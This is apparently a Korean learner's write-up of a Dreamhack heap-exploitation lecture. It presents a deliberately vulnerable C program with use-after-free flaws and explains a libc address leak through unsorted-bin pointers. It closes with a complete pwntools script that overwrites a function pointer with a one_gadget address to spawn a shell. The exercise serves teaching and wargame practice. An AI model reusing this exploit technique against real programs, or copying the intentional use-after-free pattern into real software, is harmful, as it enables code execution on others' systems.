출처 : 드림핵 강의
먼저 아래의 소스코드에서 취약점을 찾아보자.
// Name: uaf_overwrite.c
// Compile: gcc -o uaf_overwrite uaf_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
struct Human {
char name[16];
int weight;
long age;
};
struct Robot {
char name[16];
int weight;
void (*fptr)();
};
struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;
void print_name() { printf("Name: %s\n", robot->name); }
void menu() {
printf("1. Human\n");
printf("2. Robot\n");
printf("3. Custom\n");
printf("> ");
}
void human_func() {
int sel;
human = (struct Human *)malloc(sizeof(struct Human));
strcpy(human->name, "Human");
printf("Human Weight: ");
scanf("%d", &human->weight);
printf("Human Age: ");
scanf("%ld", &human->age);
free(human);
}
void robot_func() {
int sel;
robot = (struct Robot *)malloc(sizeof(struct Robot));
strcpy(robot->name, "Robot");
printf("Robot Weight: ");
scanf("%d", &robot->weight);
if (robot->fptr)
robot->fptr();
else
robot->fptr = print_name;
robot->fptr(robot);
free(robot);
}
int custom_func() {
unsigned int size;
unsigned int idx;
if (c_idx > 9) {
printf("Custom FULL!!\n");
return 0;
}
printf("Size: ");
scanf("%d", &size);
if (size >= 0x100) {
custom[c_idx] = malloc(size);
printf("Data: ");
read(0, custom[c_idx], size - 1);
printf("Data: %s\n", custom[c_idx]);
printf("Free idx: ");
scanf("%d", &idx);
if (idx < 10 && custom[idx]) {
free(custom[idx]);
custom[idx] = NULL;
}
}
c_idx++;
}
int main() {
int idx;
char *ptr;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
menu();
scanf("%d", &idx);
switch (idx) {
case 1:
human_func();
break;
case 2:
robot_func();
break;
case 3:
custom_func();
break;
}
}
}

여태까지 배운 모든 보호 기법이 적용되어있다. FULL_RELRO 때문에 GOT를 덮어쓰는 것은 어렵다. 라이브러리 내의 훅 또는 코드에서 사용하는 함수포인터를 덮어보자
Robot과 Human은 크기가 같으므로 서로 다른 하나를 할당 후 해제하면 UAF가 발생할 수 있다. 잘 보면 human_func와 robot_func 둘 다 할당한 메모리를 초기화하지 않는다.
robot_func에는 fptr이 NULL만 아니면 프로그램 실행흐름을 fptr이 가리키는 함수로 옮길 수 있다. 이걸 이용할 수 있다.
custom_func 함수는 0x100 이상의 크기를 갖는 청크를 할당하고 해제할 수 있다. 마찬가지로 여기서는 메모리 영역을 초기화 하지 않으므로 UAF가 일어날 수 있다.
먼저 libc가 매핑된 주소를 찾아야한다. 이를 위해 unsorted bin의 특징을 이용해보자.
unsorted bin에 처음 연결되는 청크는 libc 영역의 특정 주소와 이중 원형 연결 리스트를 형성한다. 즉 최초의 청크는 fd와 bk의 값으로 libc 영역의 특정 주소를 가리킨다. 따라서 처음 연결된 청크를 재할당하고, fd와 bk를 읽으면 오프셋을 활용해서 libc가 매핑된 베이스 주소를 구할 수 있다.
custom_func함수는 0x100 바이트 이상의 크기를 갖는 청크를 할당하고 할당된 청크중 원하는 청크를 해제할 수 있다. 0x410 바이트 이하의 크기를 갖는 청크는 tchae에 먼저 삽입되므로, 이보다 큰 청크를 해제해서 unsorted bin에 연결하고 이를 재할당할 것이다.
단 해제할 청크가 탑청크와 맞닿으면 병합이 이뤄지므로 청크 두 개를 연속으로 할당하고, 처음 할당한 청크를 해제해야한다.

이제 heap 명령어로 청크 정보를 살펴보자.

fd와 bk에 0x7ffff7dcdca0이 저장되어있다. vmmap로 살펴보자.

libc가 매핑된 주소는 다음과 같다.

오프셋은 다음과 같다.(0x3ebca0)

Human과 Robot은 같은 크기의 구조체다. 만약 Human의 age에 값이 들어갔다가 Heman 구조체가 해제되고 Robot 구조체가 할당되는 경우, Robot의 fptr에 age 가 그대로 남아있다. age에 원 가젯 주소를 입력하고, 이어서 robot_func를 호출하면 fptr 위치의 원 가젯을 호출 할 수 있다.
#!/usr/bin/env python3
# Name: uaf_overwrite.py
from pwn import *
p = process('./uaf_overwrite')
def slog(sym, val): success(sym + ': ' + hex(val))
def human(weight, age):
p.sendlineafter(b'>', b'1')
p.sendlineafter(b': ', str(weight).encode())
p.sendlineafter(b': ', str(age).encode())
def robot(weight):
p.sendlineafter(b'>', b'2')
p.sendlineafter(b': ', str(weight).encode())
def custom(size, data, idx):
p.sendlineafter(b'>', b'3')
p.sendlineafter(b': ', str(size).encode())
p.sendafter(b': ', data)
p.sendlineafter(b': ', str(idx).encode())
# UAF to calculate the `libc_base`
custom(0x500, b'AAAA', -1)
custom(0x500, b'AAAA', -1)
custom(0x500, b'AAAA', 0)
custom(0x500, b'B', -1) # data 값이 'B'가 아니라 'C'가 된다면, offset은 0x3ebc42 가 아니라 0x3ebc43이 됩니다.
lb = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x3ebc42
og = lb + 0x10a41c # 제약 조건을 만족하는 원가젯 주소 계산
slog('libc_base', lb)
slog('one_gadget', og)
위에서 구한 오프셋과 조금 다른 값이 들어간다. 왜냐하면 우리는 청크 재할당을 통해 fd가 위치한 영역에 B를 써서 기존 fd에 있던 값의 최하위 바이트만을 수정한다. 그리고 이를 통해 돌려받는 값은 0x~~~~~~~42다. 따라서 오프셋이 0x3ebc42가 되는 것이다.
원가젯은 one_gadget libc-2.27.so 명령어를 통해 찾은 것이다.
이제 hyman->age에 원 가젯 주소를 입력해주면 함수포인터를 덮어쓸 수 있다. 그러면 이제 셸을 획득할 수 있다.
# UAF to manipulate `robot->fptr` & get shell
human(1, og)
robot(1)
p.interactive()